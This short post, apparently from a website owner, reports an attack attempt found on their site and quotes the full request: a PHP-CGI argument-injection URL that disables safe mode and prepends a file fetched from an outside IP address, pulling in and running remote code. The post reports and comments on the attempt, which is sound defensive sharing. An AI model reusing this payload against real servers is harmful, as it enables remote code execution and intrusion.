Trying to access
index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
on my website -- which would be called a "script attack". Googling the expression, I learnt that the hacker is "attempting to execute PHP commands which can only be run from within a terminal shell", and that it's not over dangerous. How reassuring.